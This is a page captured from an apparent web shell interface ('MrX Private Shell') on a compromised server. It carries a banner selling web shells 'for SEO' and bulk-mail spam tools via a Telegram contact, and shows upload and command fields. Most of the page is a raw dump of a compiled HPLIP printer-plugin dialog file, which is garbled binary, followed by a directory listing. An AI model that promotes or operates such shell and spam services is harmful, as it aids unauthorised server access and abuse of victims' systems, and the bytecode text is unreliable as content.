__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g�0���SSK7 SSKJrJr SSKJr SSK7 SSK7 SSKJ	r	 SSK
Jr SSK7 SSK
7 SSK7 SSKJr SSKrSrSr"S	S
\\5rg)�)�*)�device�utils)�cups�)�
pluginhandler)�
to_unicode)�	Ui_DialogNc��\rSrSr\\4SjrSrSrSr	Sr
SrSrS	r
S
rSrSrS
rSrSrSrSrSrSSjrSrg)�PluginDialog�/c��[RX5 X lX0lSUlSUl[R"5UlURU5 [5UlURR5 URR5 UR5 [R!SUR"5 g)N�Fr)�QDialog�__init__�install_mode�
plugin_reason�plugin_path�resultr�PluginHandle�	pluginObj�setupUi�UserSettings�
user_settings�load�debug�initUi�QTimer�
singleShot�showSourcePage)�self�parentrrs    �$/usr/share/hplip/ui5/plugindialog.pyr�PluginDialog.__init__0s�������&�(��*��������&�3�3�5������T��)�^��������!���� � �"����
����!�T�0�0�1�c�6�URR5$�N)r�	getStatus�r!s r#�isPluginInstalled�PluginDialog.isPluginInstalledBs���~�~�'�'�)�)r%c��URRRUR5 URRRUR
5 UR
[[SS555 0[S_[URS5_[URS5_[URS5_[URS5_[S_[ S_["URS5_[$URS5_[&URS	5_[(S_[*S_[,URS
5_[.URS5_[0S_[2S_Ulg)N�hp_logo�128x128z)This plugin will enable printing support.z%This plugin will enhance print speed.z'This plugin will enhance print quality.z'This plugin will add printing features.z)This plugin will enable scanning support.z(This plugin will enhance scanning speed.z0This plugin will enhance scanning image quality.z'This plugin will enable faxing support.z)This plugin will enhnace faxing features.)�CancelButton�clicked�connect�CancelButton_clicked�
NextButton�NextButton_clicked�
setWindowIcon�QIcon�load_pixmap�PLUGIN_REASON_NONE�PLUGIN_REASON_PRINTING_SUPPORT�_PluginDialog__tr�PLUGIN_REASON_FASTER_PRINTING� PLUGIN_REASON_BETTER_PRINTING_PQ�PLUGIN_REASON_PRINTING_FEATURES�PLUGIN_REASON_RESERVED_10�PLUGIN_REASON_RESERVED_20�PLUGIN_REASON_SCANNING_SUPPORT�PLUGIN_REASON_FASTER_SCANNING� PLUGIN_REASON_BETTER_SCANNING_IQ�PLUGIN_REASON_RESERVED_200�PLUGIN_REASON_RESERVED_400�PLUGIN_REASON_FAXING_SUPPORT�PLUGIN_REASON_FAX_FEATURES�PLUGIN_REASON_RESERVED_20000�PLUGIN_REASON_RESERVED_40000�PLUGIN_REASON_TEXTr)s r#r�PluginDialog.initUiFs~��	
���!�!�)�)�$�*C�*C�D������'�'��(?�(?�@�	
���5��Y�	�!B�C�D�#
���#
�*�D�I�I�6a�,b�#
�
*�4�9�9�5\�+]�#
�
-�d�i�i�8a�.b�	#
�

,�T�Y�Y�7`�-a�#
�
&�t�
#
�
&�t�#
�
+�D�I�I�6a�,b�#
�
*�4�9�9�5_�+`�#
�
-�d�i�i�8j�.k�#
�
'��#
�
'��#
�
)�$�)�)�4]�*^�#
�
'��	�	�2]�(^�#
�
)�$�#
� 
)�$�!#
��r%c�z�UR5nUR[:XaSURR	S5 SnUbUSU--
nUR
R
URU55 OKUR[:Xa7SnUbUSU--
nUR
R
URU55 URR[RUR5 URR[RUR5 URR[RUR 5 UR"R$SRUR&5 UR(R*RUR,5 [.R."[.R0[.R25 UR(R5[7[9SS555 UR;[<5 g)NFz�An additional driver plug-in is required to operate this printer. You may download the plug-in directly from an HP authorized server (recommended), or, if you already have a copy of the file, you can specify a path to the file (advanced).z
<br><br>%sa(An optional driver plug-in is available to enhance the operation of this printer. You may download the plug-in directly from an HP authorized server (recommended), skip this installation (not recommended), or, if you already have a copy of the file, you can specify a path to the file (advanced).zconst QString &�folder_open�16x16)�plugin_reason_textr�PLUGIN_REQUIRED�SkipRadioButton�
setEnabled�
TitleLabel�setTextr:�PLUGIN_OPTIONAL�DownloadRadioButton�toggled�boolr1�DownloadRadioButton_toggled�CopyRadioButton�CopyRadioButton_toggled�SkipRadioButton_toggled�PathLineEdit�textChanged�PathLineEdit_textChanged�BrowseToolButtonr0�BrowseToolButton_clicked�signal�SIGINT�SIG_DFL�setIconr6r7�displayPage�PAGE_SOURCE)r!�reason_text�msgs   r#r �PluginDialog.showSourcePagefs����-�-�/������/�� � �+�+�E�2�C�C��&��|�K�/�/���O�O�#�#�D�I�I�c�N�3�
�
�
�/�
1�}�C��&��|�K�/�/���O�O�#�#�D�I�I�c�N�3�� � �(�(��.�6�6�t�7W�7W�X����$�$�T�*�2�2�4�3O�3O�P����$�$�T�*�2�2�4�3O�3O�P����%�%�&7�8�@�@��A^�A^�_����%�%�-�-�d�.K�.K�L��
�
�f�m�m�V�^�^�4����%�%�e�K�
�w�,O�&P�Q�����%r%c��U(auURRS5 URRS5 URRS5 URR	S5 SUlgg![
a Nf=f�NFTr�r\rQr_r3�
setStyleSheet�AttributeErrorr�r!�bs  r#rX�(PluginDialog.DownloadRadioButton_toggled��{������(�(��/��!�!�,�,�U�3��O�O�&�&�t�,�
��!�!�/�/��3� $�D��
��"�
��
���A>�>
B�
Bc���U(aoURRS5 URRS5 [URR	55UlUR
5 gg)NT)r\rQr_r	�textr�setPathIndicatorsros  r#rZ�$PluginDialog.CopyRadioButton_toggled�sZ������(�(��.��!�!�,�,�T�2�)�$�*;�*;�*@�*@�*B�C�D���"�"�$�	
r%c��U(auURRS5 URRS5 URRS5 URR	S5 SUlgg![
a Nf=frkrlros  r#r[�$PluginDialog.SkipRadioButton_toggled�rrrsc�D�[U5UlUR5 gr')r	rrv)r!�ts  r#r^�%PluginDialog.PathLineEdit_textChanged�s��%�a�=������ r%c��SnUR(a?UR(av[RRUR5(aHURRUR
SURR5-55 SnO�[RRUR5URR5:waGURRUR
SURR5-55 SnU(d8URRS5 URRS5 gURRS5 URRS5 URRS5 g![a N{f=f![a NSf=f)NTz)You must specify a path to the '%s' file.Fz!The plugin filename must be '%s'.zbackground-color: yellow; r)r�os�path�isdirr\�
setToolTipr:r�getFileName�basenamermrnr3rQ)r!�oks  r#rv�PluginDialog.setPathIndicators�sc��
�����D�$4�$4������t�GW�GW�9X�9X����(�(����3^�_c�_m�_m�_y�_y�_{�3{�)}�~��B�
�W�W�
�
�d�.�.�
/�4�>�>�3M�3M�3O�
O����(�(����3V�W[�We�We�Wq�Wq�Ws�3s�)t�u��B��
��!�!�/�/�0L�M�
�O�O�&�&�u�-�
��!�!�/�/��3�
�O�O�&�&�t�,����(�(��,��"�
��
��"�
��
�s$�/F9�'G	�9
G�G�	
G�Gc��[URR55nSn[RRU5(dI[RXRS5URRURS55nU(adUSUlURRUR5 URURl
URR5 UR5 g)NrzSelect Plug-in FilezPlugin Files (*.run)r)r	r\rur~r�exists�QFileDialog�getOpenFileNamer:r�working_dirrrS�saverv)r!r{rs   r#r`�%PluginDialog.BrowseToolButton_clicked�s����t�(�(�-�-�/�0�����w�w�~�~�a� � ��.�.�t�Y�Y�?T�5U�/3�/A�/A�/M�/M�/3�y�y�9O�/P�R�D�
�#�A�w�D�����%�%�d�&6�&6�7�-1�-=�-=�D���*����#�#�%���� r%c�\�URU5 URRU5 gr')�updateStepText�
StackedWidget�setCurrentIndex)r!�pages  r#re�PluginDialog.displayPage�s$�����D�!����*�*�4�0r%c�$�UR5 gr')�closer)s r#r2�!PluginDialog.CancelButton_clicked�s���
�
�r%c	��	�URR5(a&[RS5 UR	5 g[5 UR(a5URRS5(dSUR-UlO�[RS5 [R"5nU(dU[RS5 [5 [XRS55 UR	5 [5 g[RSUR-5 URR!URUR"5up#nU[$[&4;a�[5 [(R+USURSU-5[(R,[(R.-[(R.5[(R,:wa7URR1U5 UR	5 [5 gOVU[2:waLURR1U5 [5 [X5 UR	5 [5 gURR5U[65(d[URR1U5 [5 [XRS	55 UR	5 [5 g[8R:"S
/5nUH�n[8R<"U5nUR?SS5(dM2[R[RAS
U-55 Sn[8RB"U5nURG5(a[RS5 O'[5 [XRSU-55 UbUR	5 M�M� [5 URR1U5 [IXRS55 SUl%UR	5 g![DaW [RS5 [5 [XRSU-55 UcGM�UR	5 GM�f=f!WbUR	5 ff=f![5 f=f)NzSkipping plug-in installation.zhttp://zfile://z"Checking for network connection...z Network connection not detected.zDownloading plug-in from: %s� z�<b>%s</b><p>Without this, it is not possible to authenticate and validate the plug-in prior to installation.</p>Do you still want to install the plug-in?zPlug-in install failed.�hpzfw-downloadFz%
Downloading firmware to device %s...zError opening device.z3<b>Firmware download to device failed.</b><p>%s</p>zFirmware download successful.
z&<b>Plug-in installation successful</b>T)&rP�	isChecked�logrr��beginWaitCursorr�
startswith�infor�check_network_connection�error�
endWaitCursor�	FailureUIr:r�download�plugin_download_callback�ERROR_UNABLE_TO_RECV_KEYS�ERROR_DIGITAL_SIGN_NOT_FOUND�QMessageBox�question�Yes�No�deleteInstallationFiles�
ERROR_SUCCESS�
run_plugin�GUI_MODEr�getSupportedCUPSDevices�queryModelByURI�get�bold�Device�Error�downloadFirmware�	SuccessUIr)	r!r��status�download_plugin_file�	error_str�cups_devices�dev�mq�ds	         r#r4�PluginDialog.NextButton_clicked�s������)�)�+�+��I�I�6�7��J�J�L����I	�����'�'�2�2�9�=�=�'0�4�3C�3C�'C�D�$�����=�>��3�3�5����I�I�@�A�!�O��d�I�I�.P�$Q�R��J�J�L��t
�O�q
�H�H�3�d�6F�6F�F�G�6:�n�n�6M�6M�d�N^�N^�_c�_|�_|�6}�3�F�)��3�5Q�R�R����'�'��c��	�	�#~�@I�#I�J�(3���+�.�.�(H�+�.�.�Z�]h�]l�]l�m��N�N�:�:�;O�P��J�J�L��V
�O�cm��=�(����6�6�7K�L����$�*��
�
���H
�O�E�>�>�,�,�-A�8�L�L����6�6�7K�L����$�	�	�*C� D�E��
�
���:
�O�7"�9�9�4�&�A�L�#���+�+�C�0���6�6�-��/�/��H�H�S�X�X�&N�QT�&T�U�V�&� ��%� &�
�
�c� 2�A��-�-�/�/��H�H�%F�G�)�O�%�d�I�I�6k�lo�6o�,p�q��=��G�G�I�)�/$�4
�O����.�.�/C�D��$�	�	�"J�K�L�����
�
���+ %�%��I�I�&=�>�)�O�%�d�I�I�6k�lo�6o�,p�q�$��=��G�G�I�%���=��G�G�I�)��
�O�sy�CS�DS�-AS�A4S�AS�+S�;R:�>Q�AR:�&S�AR7�R:�S�#S�6R7�7R:�:S�S�Sc��gr'�)r!�c�sr{s    r#r��%PluginDialog.plugin_download_callback6s��r%c��[U5 gr')�print)r!r�s  r#�plugin_install_callback�$PluginDialog.plugin_install_callback:s	��
�a�r%c	�|�URRURSUS-<S[S-<355 g)NzStep rz of )�StepTextrSr:�PAGE_MAX)r!�ps  r#r��PluginDialog.updateStepText>s*���
�
���d�i�i�!�A�#�x��z�(J�K�Lr%c�V�URUR$![a gf=fr')rIr�KeyErrorr)s r#rN�PluginDialog.plugin_reason_textBs0��	��*�*�4�+=�+=�>�>���	��	�s��
(�(Nc�.�[RSX5$)Nr)�qApp�	translate)r!r�r�s   r#�__tr�PluginDialog.__trIs���~�~�n�Q�1�1r%)rIrrrrrrr')�__name__�
__module__�__qualname__�__firstlineno__�PLUGIN_NONEr8rr*rr rXrZr[r^rvr`rer2r4r�r�r�rNr:�__static_attributes__r�r%r#rr/sf��,7�GY�2�$*�
�@&�8	$�%�	$�!�
-�0!�,1�
�U�p
��M��2r%r)�base.g�baserr�prntr�
base.codes�ui_utils�	installerr�base.sixextr	�PyQt5.QtCore�PyQt5.QtGui�PyQt5.QtWidgets�plugindialog_baser
rarfr�rrr�r%r#�<module>r�sI��0�����#�#����(������[2�7�I�[2r%

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 129 B 0644
aboutdialog.cpython-313.pyc File 1.67 KB 0644
aboutdialog_base.cpython-313.pyc File 12.62 KB 0644
aligndialog.cpython-313.pyc File 41.93 KB 0644
aligndialog_base.cpython-313.pyc File 40.41 KB 0644
cleandialog.cpython-313.pyc File 15.76 KB 0644
cleandialog_base.cpython-313.pyc File 17.91 KB 0644
colorcaldialog.cpython-313.pyc File 21.01 KB 0644
colorcaldialog_base.cpython-313.pyc File 36.36 KB 0644
devicesetupdialog.cpython-313.pyc File 12.45 KB 0644
devicesetupdialog_base.cpython-313.pyc File 8.12 KB 0644
deviceuricombobox.cpython-313.pyc File 6.62 KB 0644
devmgr5.cpython-313.pyc File 113.65 KB 0644
devmgr5_base.cpython-313.pyc File 39.38 KB 0644
devmgr_ext.cpython-313.pyc File 3.74 KB 0644
fabgrouptable.cpython-313.pyc File 2.54 KB 0644
fabnametable.cpython-313.pyc File 1.14 KB 0644
fabwindow.cpython-313.pyc File 38.92 KB 0644
fabwindow_base.cpython-313.pyc File 14.44 KB 0644
faxsetupdialog.cpython-313.pyc File 21.82 KB 0644
faxsetupdialog_base.cpython-313.pyc File 10.13 KB 0644
filetable.cpython-313.pyc File 22.07 KB 0644
firmwaredialog.cpython-313.pyc File 4.36 KB 0644
firmwaredialog_base.cpython-313.pyc File 6.12 KB 0644
infodialog.cpython-313.pyc File 14.75 KB 0644
infodialog_base.cpython-313.pyc File 10.15 KB 0644
linefeedcaldialog.cpython-313.pyc File 5.25 KB 0644
linefeedcaldialog_base.cpython-313.pyc File 4.81 KB 0644
loadpapergroupbox.cpython-313.pyc File 4.68 KB 0644
makecopiesdialog.cpython-313.pyc File 3.59 KB 0644
makecopiesdialog_base.cpython-313.pyc File 4.37 KB 0644
mimetypesdialog.cpython-313.pyc File 1.94 KB 0644
mimetypesdialog_base.cpython-313.pyc File 6.68 KB 0644
nodevicesdialog.cpython-313.pyc File 3.09 KB 0644
nodevicesdialog_base.cpython-313.pyc File 8.34 KB 0644
plugindiagnose.cpython-313.pyc File 4.33 KB 0644
plugindiagnose_base.cpython-313.pyc File 5.51 KB 0644
plugindialog.cpython-313.pyc File 17.44 KB 0644
plugindialog_base.cpython-313.pyc File 11.7 KB 0644
pluginlicensedialog.cpython-313.pyc File 1.28 KB 0644
pluginlicensedialog_base.cpython-313.pyc File 8.41 KB 0644
pqdiagdialog.cpython-313.pyc File 5.04 KB 0644
pqdiagdialog_base.cpython-313.pyc File 4.79 KB 0644
printdialog.cpython-313.pyc File 9.78 KB 0644
printdialog_base.cpython-313.pyc File 9.83 KB 0644
printernamecombobox.cpython-313.pyc File 6.69 KB 0644
printsettings_base.cpython-313.pyc File 139 B 0644
printsettingsdialog.cpython-313.pyc File 4.78 KB 0644
printsettingsdialog_base.cpython-313.pyc File 4.88 KB 0644
printsettingstoolbox.cpython-313.pyc File 88.52 KB 0644
printtestpagedialog.cpython-313.pyc File 7.25 KB 0644
printtestpagedialog_base.cpython-313.pyc File 7.18 KB 0644
queuesconf.cpython-313.pyc File 15.2 KB 0644
readonlyradiobutton.cpython-313.pyc File 2.24 KB 0644
scandialog.cpython-313.pyc File 123.01 KB 0644
sendfaxdialog.cpython-313.pyc File 57.92 KB 0644
sendfaxdialog_base.cpython-313.pyc File 39.46 KB 0644
settingsdialog.cpython-313.pyc File 5.55 KB 0644
settingsdialog_base.cpython-313.pyc File 25.92 KB 0644
setupdialog.cpython-313.pyc File 79.67 KB 0644
setupdialog_base.cpython-313.pyc File 38.46 KB 0644
setupdialog_base5.cpython-313.pyc File 38.43 KB 0644
systemtray.cpython-313.pyc File 41.3 KB 0644
systrayframe.cpython-313.pyc File 12.48 KB 0644
systrayframe_base.cpython-313.pyc File 10.84 KB 0644
ui_utils.cpython-313.pyc File 28.62 KB 0644
upgradedialog.cpython-313.pyc File 6.38 KB 0644
upgradedialog_base.cpython-313.pyc File 5.98 KB 0644
wifisetupdialog.cpython-313.pyc File 54.96 KB 0644
wifisetupdialog_base.cpython-313.pyc File 62.3 KB 0644
Filemanager